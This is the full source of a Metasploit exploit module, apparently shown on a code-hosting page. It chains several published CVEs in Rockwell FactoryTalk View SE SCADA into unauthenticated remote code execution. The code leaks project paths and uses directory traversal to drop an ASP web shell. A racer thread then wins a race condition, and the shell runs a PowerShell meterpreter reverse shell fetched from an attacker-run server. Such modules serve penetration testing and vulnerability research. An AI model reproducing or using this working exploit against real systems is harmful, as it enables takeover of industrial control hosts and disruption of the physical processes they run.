Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/rockwell_factorytalk_rce.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Powershell9include Msf::Exploit::Remote::HttpServer10include Msf::Exploit::Remote::HttpClient1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution',17'Description' => %q{18This module exploits a series of vulnerabilities to achieve unauthenticated remote code execution19on the Rockwell FactoryTalk View SE SCADA product as the IIS user.20The attack relies on the chaining of five separate vulnerabilities. The first vulnerability is an unauthenticated project copy request,21the second is a directory traversal, and the third is a race condition. In order to achieve full remote code execution on all22targets, two information leak vulnerabilities are also abused.23This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category.24},25'License' => MSF_LICENSE,26'Author' => [27'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module28'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module29],30'References' => [31[ 'URL', 'https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'],32[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/replicant/replicant.md'],33[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/tree/master/advisories/Pwn2Own/Miami2020/replicant.md'],34[ 'CVE', '2020-12027'],35[ 'CVE', '2020-12028'],36[ 'CVE', '2020-12029'],37[ 'ZDI', '20-727'],38[ 'ZDI', '20-728'],39[ 'ZDI', '20-729'],40[ 'ZDI', '20-730'],41],42'Privileged' => false,43'Platform' => 'win',44'Arch' => [ARCH_X86, ARCH_X64],45'Stance' => Msf::Exploit::Stance::Aggressive,46'Payload' => {47'DefaultOptions' =>48{49'PAYLOAD' => 'windows/meterpreter/reverse_tcp'50}51},52'DefaultOptions' => { 'WfsDelay' => 20 },53'Targets' => [54[ 'Rockwell Automation FactoryTalk SE', {} ]55],56'DisclosureDate' => '2020-06-22',57'DefaultTarget' => 0,58'Notes' => {59'Stability' => [ CRASH_SAFE ],60'SideEffects' => [ IOC_IN_LOGS ],61'Reliability' => [ REPEATABLE_SESSION ]62}63)64)65register_options(66[67Opt::RPORT(80),68OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']),69OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]),70OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/'])71]72)7374register_advanced_options(75[76OptInt.new('SLEEP_RACER', [true, 'Number of seconds to wait for racer thread to finish', 15]),77]78)79end8081def send_to_factory(path)82send_request_cgi({83'uri' => normalize_uri(target_uri, path),84'method' => 'GET'85})86end8788def check89res = send_to_factory('/hmi_isapi.dll')90return Exploit::CheckCode::Safe unless res && res.code == 2009192# Parse version from response body93# Example: Version 11.00.00.23094version = res.body.scan(/Version ([0-9.]{5,})/).flatten.first.to_s.split('.')9596# Is returned version sound?97unless version.empty?98if version.length != 499return Exploit::CheckCode::Detected100end101102print_status("#{peer} - Detected Rockwell FactoryTalk View SE SCADA version #{version[0..3].join('.')}")103if version[0].to_i == 11 && version[1].to_i == 0 && version[2].to_i == 0 && version[3].to_i == 230104# we know this exact version is vulnerable (11.00.00.230)105return Exploit::CheckCode::Appears106end107108return Exploit::CheckCode::Detected109end110111return Exploit::CheckCode::Unknown112end113114def on_request_uri(cli, request)115if request.uri.include?(@shelly)116print_good("#{peer} - Target connected, sending payload")117psh = cmd_psh_payload(118payload.encoded,119payload.arch.first120# without comspec it seems to fail, so keep it this way121# remove_comspec: true122)123# add double quotes for classic ASP escaping124psh.gsub!('"', '""')125126# NOTE: ASP payloads are broken in newer Windows (Win 2012 R2, Win 10) so we need to use powershell127# This is because the MSF ASP payload uses WScript.Shell.run(), which doesn't seem to work anymore...128# If this module is not working on an older Windows version, try the below as payload:129# payload = Msf::Util::EXE.to_exe_asp(generate_payload_exe)130payload = %{<%CreateObject("WScript.Shell").exec("#{psh}")%>}131send_response(cli, payload)132# payload file is deleted automatically by the server once we win the race!133134elsif request.uri.include?(@proj_name)135# Directory traversal: vulnerable asp file will land in the path we provide136print_good("#{peer} - Target connected, sending file path with dir traversal")137# Check the comments in the Infoleak 2 (project installation path) to understand why138filename = "../SE/HMI Projects/#{@shelly}"139send_response(cli, filename)140end141end142143def exploit144# Infoleak 1 (project listing)145print_status("#{peer} - Listing projects on the server")146res = send_to_factory('/hmi_isapi.dll?GetHMIProjects')147148fail_with(Failure::UnexpectedReply, 'Failed to obtain project list. Bailing') unless149res && res.code == 200 && res.body.include?('HMIProject')150151print_status("#{peer} - Received list of projects from the server")152@proj_name = nil153proj_path = ''154xml = res.get_xml_document155156# Parse XML project list and check each project for installation project path157xml.search('HMIProject').each do |project|158# Infoleak 2 (project installation path)159# In the original exploit, we used this to calculate the directory traversal path, but160# Google says the path is the same for all versions since at least 2007.161# Let's still abuse it to check if the project is valid.162url = "/hmi_isapi.dll?GetHMIProjectPath&#{project.attributes['Name']}"163res = send_to_factory(url)164165proj_path = res.body.strip166167# Check if response contains :\ that indicates a windows path168next unless proj_path.include?(':\\')169170print_status("#{peer} - Found project path: #{proj_path}")171172# We only need first hit so we can quit the project parsing once we get it173if project.attributes['Name']174@proj_name = project.attributes['Name']175break176end177end178179if !@proj_name180fail_with(Failure::UnexpectedReply, 'Failed to get a path from the XML to drop our shell, bailing out...')181end182183shell_path = proj_path.sub(@proj_name, '').strip184print_good("#{peer} - Got a path to drop our shell: #{shell_path}")185186# Start http server for project copy callback187http_service = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"188print_status("#{peer} - Starting up our web service on #{http_service} ...")189190start_service({191'Uri' => {192'Proc' => proc do |cli, req|193on_request_uri(cli, req)194end,195# This path has to be capitalized as "RSViewSE" or else the exploit will fail!196'Path' => '/RSViewSE/'197}198})199200# Race Condition201# This is the racer thread. It will continuously access our asp file until it gets executed202print_status("#{peer} - Starting racer thread, let's win this race condition!")203@shelly = "#{rand_text_alpha(5..10)}.asp"204racer = Thread.new do205loop do206res = send_to_factory("/#{@shelly}")207if res.code == 200208print_good("#{peer} - We've won the race condition, shell incoming!")209break210end211end212end213214# Project Copy Request: target will connect to us to obtain project information.215print_status("#{peer} - Initiating project copy request...")216url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{datastore['SRVHOST']}:#{datastore['SRVPORT']}&1"217res = send_to_factory(url)218219# wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish220count = 0221while count < datastore['SLEEP_RACER']222break if racer.status == false223224sleep(1)225count += 1226end227racer.exit228end229end230231232